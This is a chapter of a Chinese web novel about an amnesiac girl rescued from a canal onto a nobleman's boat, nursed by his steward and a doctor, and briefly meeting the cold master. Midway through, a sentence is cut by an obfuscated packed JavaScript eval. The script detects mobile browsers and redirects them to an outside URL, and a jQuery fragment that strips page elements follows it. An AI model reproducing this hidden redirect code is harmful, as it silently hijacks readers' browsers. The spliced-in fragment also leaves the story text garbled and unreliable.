何安应一声,躬着身子退出去,招呼两个小太监下水。
小太监把少女放在船板上,细探鼻息,回头喊:“何总管,还有口气!”
何安蹲下来,一番又撩眼皮、又摸心脉的动作,皱眉说:“抬到底舱里去,烧盆炭火,去请随船的大夫。”
船上随行的大夫姓陆,五十来岁,头发花白。
大夫背着药箱进了舱房,把帘子放下来,过了小半个时辰才出来。
夜虽已深,何安仍在廊下等着,见他出来,便迎上去。
陆大夫说:“姑娘的后脑撞了暗礁,里头存着淤血。脚上呢,有旧伤,在水里泡得发了白,得仔细养着,不然,将来有很大可能沾染上寒疾!好在,烧倒退了,但身子亏空得厉害,得吃几服药看看。”
“人什么时候醒?”总管问。
若这姑娘真是细作,为了接近陛下,当真是无所不用极!
大夫拱手回道:“这……不好说。快则一两日天,慢则三五日。这姑娘底子弱,又受了惊吓,能不能醒全看造化。”
何安点点头,转身去回禀邬君雪。
此时此刻,邬君雪正在灯下看折子,听完了,神情自若,没半点儿变化,只说了句:“醒了问清楚来历。若是良家子,到前头码头放下去便是。”
假使不是……
那这姑娘的下场,可想而知。
何安一向衷心,躬身应了,退出去安排。
许是伤得太重,再加上逃亡的不安思绪,荷香昏迷了整整两天一夜。
好在,这船属于天下最尊贵的人。
一个来路不明的少女,供养疗愈起来,也不过是柳枝点水、须臾之物罢了。
第三日,曦光蔼蔼,船已过了上京,朝濮阳方向去。
运河两岸的景色,从水乡泽国变成了平原阔野,芦苇稀稀疏疏,矮山和村舍垂延于山脉云谷之间。
醒来的第一眼,瞧着的,是舱顶的乌黑横梁。
朝光叆叇,昏黄莹灰,帐内账外,皆是一股橘调的木质香,草药汤子的苦气,倒沉寂下来,平添少许韵味。
可这并不能使她感到安宁。
陌生的地方、奇怪的晃动、空白的触感……桩桩件件,都在指向一个令她本能不安的事实。
荷香转动眼珠,想要坐起来,大脑却蓦地尖锐发疼。
好痛!
她想不起来自己是谁了!
大脑□□平空发胀,又酸又软。
荷香伸出手,小心翼翼按动,却不见丝毫好转。
她有些想哭。
她不记得自己叫什么名字,不记得从哪里来,不记得为什么会睡在这条船上……
荷香试图下床,可四肢一软,眼前发黑,霎然间,又跌回枕上。
隔着画眉屏风,小太监端着温热的汤药走进来,见少女苏醒,一呆,旋即高兴地叫喊起来:“醒了醒了!总管大人,那位姑娘醒了!”
闻声,何安很快过来了。
他站在屏风另一侧,眉眼皱纹微展,很是和煦:“姑娘醒了就好。敢问姑娘贵姓,家住哪里,为何会落入运河之中?”
荷香唇口轻开,沙哑粗糙的小鸭子音吓了她一跳。
小脸瞬间满是绯红:“我、我不知道。”
少女说的是实话。
何总管却并不满意这个答案:“真……不记得了?”
“不记得。”荷香声音小小的,充斥着真切的茫然,“我什么都不记得了。大人……您知道我是谁、我的家人在哪儿么?”
还是说,眼前这个慈祥的老爷爷,就是她的亲人呢?
语毕,何安眯眼,郑重其事瞧了瞧她的神势作态。
撒谎?
不太像。
荷香被看得有些焦躁,下意识把自己缩成一团儿,紧紧裹在被裘间,只露出一双眼睛。
温暖感由下至上,即便是春末夏初,这一下子,也让少女感到安心许多。
这双小狗般的眼睛太干净。
何安做了大半辈子的内侍,见惯了人心鬼蜮,这会儿倒有些拿不准了。
“姑娘先喝药吧。”
想起大夫的叮嘱,何总管隐隐有了猜测,道:“既然不记得,那便在船上养几日,等想起来了再说。”
荷香乖乖点头,接过药碗,试探性喝了一小口。
浓重的中药味直冲鼻尖。
许是船上的缘故,这药炉里的药渣都未曾去除干净,闹得她还得吐出来,又重新喝。
反反复复,这苦味一下比一下重。
但荷香虽没了记忆,却也敏感地察觉出,这个被称作总管的大人,和她,并无半点沾亲带故的可能性。
知道没有依赖他人的希望,荷香捏住鼻子,一口接一口,在何总管的注视下喝完了。
等喝完了,整张漂亮的脸都皱成一团。
小太监忙不迭递了颗蜜饯,荷香含在嘴里,珍惜地含了半天,感激道:“这个真好吃,谢谢你们。”
何安叹了口气,许是觉得一个看上去年纪尚小的丫头不值一提,不发一词就出了舱门。
等到他禀告时,邬君雪才从内侍的口中,听到这个‘细作’的情况如何。
“醒了?”他问。
“醒了。”内侍把荷香的情况说了一遍,末了补了一句,“老奴瞧着,这姑娘,可不像是装的。”
“你倒是,会用眼识人。”邬君雪嗤笑道,“查查她的来历。”
“上船之时,老奴已经让人去查了。运河那段归济州府管,这两日漂了什么人下去,一查便知。”
邬君雪轻嗯一声,便不再问了。
何安知道他的脾气,识趣地退了出去。
在到达濮阳之前,荷香在船上住了下来。
她的伤好得慢,脚上的伤口即便结了痂,走起路来,还是一瘸一拐的,后脑勺的淤血也散了大半,只可惜,记忆没有丝毫恢复的迹象。
这船的主人,对自己这个陌生女子,也是不咸不淡。
就连荷香想要表达感谢,也只能通过小太监们传话。
至于何总管,也只有在陆大夫来的时候,才会突然出现,安慰她,马上就能痊愈了。
荷香每日的活动范围,就是那间舱房和门口的一小截走廊。
小太监们对她客客气气的,但什么都不肯跟她多说。
她问这是什么船、船上是什么人、要去哪儿,他们就光抱歉地笑,不说一句多余的话。
好像多说了一句,就有地狱的鬼神来夺了他们的舌头似的。
这日吃过晚饭,荷香实在闷得慌,趁小太监去端茶的功夫,自己扶着墙壁,慢慢走到了船尾。
夕阳正在落下去,运河上铺了一层碎金,波光粼粼的,晃得人眼睛发酸。
两岸的树影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550957|204338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被拉得很长,风吹过来,炊烟的味道抚慰凡人的心。
荷香好奇地趴在栏杆上往下看,水面映出她的脸。
大抵是因着还在养病的缘故,气色不好,脸颊肉也瘦下去。
唯一可圈可点的,是那双至始至终、都明亮清透的圆眼,以及婴儿般长长的直睫。
荷香左看看,右瞧瞧。
看了半天,还是觉得这张脸陌生得很。
“你不冷?”
一道声音透入耳中,好似瓷珠磕落玉盘,清冷、不近人情。
荷香惊慌地寻声望去。
内心疑心惴惴地祈求着:千万不要是总管大人啊!
她的病还没好,这么多天了,也没有所谓的亲朋好友找上门来。
要是被主人家赶下船,只怕是,要红颜多薄命了。
来者,亦不过二十来岁的年纪,穿着上白下黑,绣着精致暗纹。
如此一瞧,颇有些世家贵门、远离尘世的贵人姿态。
他住手站立,神色淡淡,周身一副冷冰冰的模样。
想来,他便是这艘船的主人了。
荷香愣愣地看着他,却并不害怕,只觉得,这人生得真好看。
明明看上去是拒人于千里之外的人,荷香却很想亲近。
……不过,绝对不是因为好看,而是恩情!
荷香提起裙摆,怪模怪样地行了个礼:“我、我不冷。”
见她这幅担惊受怕、有些愚蠢的姿态,邬君雪转身要走。
“等等。”
荷香咬住下唇,也不知道自己为什么要叫他,可等到话出口了,才觉着冒失。
但她已经顾不上脸皮了:“你是这船上的主人吗?”
邬君雪停住脚步,偏过头,看她。
那一眼很淡、很淡,但荷香,却莫名慌乱起来。
“是。”邬君雪说。
荷香想:她一定不是第一个会对恩人产生好感的人。
“谢谢你救我。”荷香认认真真地朝他鞠了一躬,“我什么都不记得了,等我想起来,一定报答您!”
邬君雪垂下眼,似乎是觉着可笑。
“不必。”
荷香站在船尾,看着他的背影消失在舱门后头,心里头莫名其妙地跳得厉害。
她把手按在胸口上,不明白自己这是怎么了。
风吹过来,耳朵尖红红的。
又过了好几日,荷香的脚伤算是好得差不多了,可以随意下床走动。
何总管也给她重新安排了一间靠窗的小舱房,比原先的略大,直接从底舱安排到了上层。
只不过,荷香本以为会因此常常见到邬君雪。
可事实上,两人仅有那一面的邂逅。
而她,早晚都得喝药。
荷香每次都老老实实地一口气喝完,再美滋滋地从小太监手里接过蜜饯,感慨自己又活了一天。
陆大夫一夸她乖,她就笑。
少女笑起来眼睛弯弯的,露出细白的牙齿,瞧着极为伶俐动人。
小太监们都觉得,这姑娘虽然来路不明,但实在不招人烦。
她不吵不闹,安安静静的,偶尔怯生生地问:“我们到哪里了?”
下人们只回答:“还没到”。
荷香便点点头,也不追问。
终于,小半个月过去,船在濮阳城外的码头靠了岸。